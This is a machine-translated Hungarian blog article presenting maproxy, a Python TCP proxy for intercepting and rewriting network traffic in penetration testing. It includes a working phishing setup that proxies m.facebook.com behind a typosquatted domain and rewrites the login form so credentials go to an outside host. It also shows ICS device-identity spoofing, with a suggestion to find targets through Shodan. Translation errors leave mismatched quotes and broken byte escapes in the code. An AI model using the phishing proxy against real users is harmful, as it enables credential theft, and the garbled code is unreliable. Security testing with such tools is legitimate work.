A cikk fordítása a tanfolyam kezdetének előestéjén készült
absztrakt
A különféle típusú biztonsági felmérések, kezdve a rendszeres penetrációs teszteléstől és a Red Team műveleteitől az IoT/ICS eszközök és a SCADA feltöréséig, bináris hálózati protokollokkal dolgoznak, vagyis lényegében a kliens és a célpont közötti hálózati adatok elfogását és módosítását jelentik. A hálózati forgalom szippantása nem nehéz feladat, mivel olyan eszközeink vannak, mint a Wireshark, a Tcpdump vagy a Scapy, de a módosítás munkaigényesebb feladatnak tűnik, mivel szükségünk lesz valamilyen interfészre a hálózati adatok olvasásához, szűréséhez, módosításához. menet közben, és szinte valós időben küldje vissza a célállomásnak. Ezenkívül ideális lenne, ha egy ilyen eszköz automatikusan több párhuzamos kapcsolattal működne, és szkriptek segítségével testreszabható lenne.
Egy napon felfedeztem egy eszközt, az úgynevezett
, a dokumentáció gyorsan világossá tette számomra, hogy maproxy
- éppen amire szükségem van. Ez egy meglehetősen egyszerű, sokoldalú és könnyen konfigurálható TCP-proxy. Ezt az eszközt több, meglehetősen bonyolult alkalmazáson teszteltem, beleértve az ICS-eszközöket (amelyek sok csomagot generálnak), hogy megnézzem, képes-e kezelni sok párhuzamos kapcsolatot, és az eszköz jól teljesített.
Ez a cikk bemutatja a hálózati adatok menet közbeni feldolgozását maproxy
.
Értékelés
szerszám maproxy
alapja a Tornado, egy népszerű és kiforrott aszinkron hálózati keretrendszer a Pythonban.
Általában több üzemmódban is működhet:
TCP:TCP
– titkosítatlan TCP kapcsolatok;TCP:SSL
иSSL:TCP
– egyirányú titkosítással;SSL:SSL
– kétirányú titkosítás.
Könyvtárként érkezik. A gyors kezdéshez használhat példafájlokat, amelyek tükrözik a fő
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1. eset – egyszerű kétirányú proxy
Alapján tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Alapértelmezésben ProxyServer()
két argumentumot vesz fel – a kapcsolat helyét és a célportot. server.listen()
egy érvet vesz igénybe - a portot a bejövő kapcsolat meghallgatásához.
A szkript végrehajtása:
# python tcp2tcp.py
A teszt futtatásához csatlakozni fogunk egy helyi SSH szerverhez a proxy szkriptünkön keresztül, amely figyel 2222/tcp
porthoz, és egy szabványos porthoz csatlakozik 22/tcp
SSH szerverek:
Az üdvözlő szalag arról tájékoztat, hogy a példaszkriptünk sikeresen proxyzott a hálózati forgalmat.
2. eset – adatmódosítás
Újabb demo szkript logging_proxy.py
ideális a hálózati adatokkal való interakcióhoz. A fájlban található megjegyzések leírják azokat az osztálymetódusokat, amelyeket módosíthat a cél elérése érdekében:
A legérdekesebb itt található:
on_c2p_done_read
– adatok lehallgatása a klienstől a szerverig vezető úton;on_p2s_done_read
- fordítva.
Próbáljuk meg megváltoztatni azt az SSH-szalagot, amelyet a szerver visszaküld az ügyfélnek:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
A szkript végrehajtása:
Amint láthatja, az ügyfelet félrevezették, mert az SSH-kiszolgáló neve megváltozott «DumnySSH»
.
3. eset – egyszerű adathalász weboldal
Ennek az eszköznek a használatának végtelen módja van. Ezúttal összpontosítsunk valami gyakorlatiasabbra a Red Team műveleti oldaláról. Utánozzuk a céloldalt m.facebook.com
és használjon egyéni domaint szándékos elírással, például m.facebok.com
. Demonstrációs célból tegyük fel, hogy a domaint mi regisztráltuk.
Titkosítatlan hálózati kapcsolatot létesítünk áldozataink proxyjával és SSL Stream-el a Facebook szerverhez (31.13.81.36
). Ahhoz, hogy ez a példa működjön, le kell cserélnünk a HTTP gazdagép fejlécét, és be kell illesztenünk a megfelelő hosztnevet, valamint letiltjuk a választömörítést is, hogy könnyen hozzáférhessünk a tartalomhoz. Végül lecseréljük a HTML űrlapot, így a bejelentkezési adatokat a Facebook szerverei helyett nekünk küldjük:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/hu/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Összefoglalva:
Amint láthatja, sikeresen lecseréltük az eredeti oldalt.
4. eset – Ethernet/IP portolása
Elég régóta foglalkozom ipari eszközökkel és szoftverekkel (ICS/SCADA), mint például programozható vezérlők (PLC), I/O modulok, meghajtók, relék, létraprogramozási környezetek és még sok más. Ez a tok azoknak való, akik szeretik az ipari dolgokat. Az ilyen megoldások feltörése magában foglalja a hálózati protokollokkal való aktív játékot. A következő példában szeretném bemutatni, hogyan módosíthatja az ICS/SCADA hálózati forgalmat.
Ehhez a következőkre van szüksége:
- Hálózati szippantó, például Wireshark;
- Ethernet/IP vagy csak egy SIP eszköz, a Shodan szolgáltatás segítségével találhatja meg;
- A forgatókönyvünk alapja
maproxy
.
Először nézzük meg, hogyan néz ki a CIP (Common Industrial Protocol) tipikus azonosítási válasza:
Az eszköz azonosítása az Ethernet/IP protokoll segítségével történik, amely az ipari Ethernet protokoll továbbfejlesztett változata, amely olyan vezérlőprotokollokat foglal magában, mint például a CIP. Meg fogjuk változtatni a kiemelt azonosító nevét, amely a képernyőképen látható "NI-IndComm Ethernethez" proxy szkriptünk segítségével. Használhatnánk újra a forgatókönyvet logging_proxy.py
és hasonlóképpen módosítsa az osztály metódusát on_p2s_done_read
, mert azt szeretnénk, hogy más identitásnév legyen látható az ügyfélen.
Kód:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Lényegében kétszer kértük az eszköz azonosítását, a második válasz az eredeti volt, az első pedig menet közben módosult.
És az utolsó
Véleményem szerint maproxy
Kényelmes és egyszerű eszköz, amely szintén Python nyelven íródott, ezért úgy gondolom, hogy Ön is profitálhat a használatából. Természetesen léteznek bonyolultabb eszközök a hálózati adatok feldolgozására, módosítására, de ezek is nagyobb odafigyelést igényelnek, és általában konkrét használati esetre készülnek, pl. maproxy
gyorsan megvalósíthatja elképzeléseit a hálózati adatok elfogásával kapcsolatban, mivel a példaszkriptek nagyon világosak.
Forrás: will.com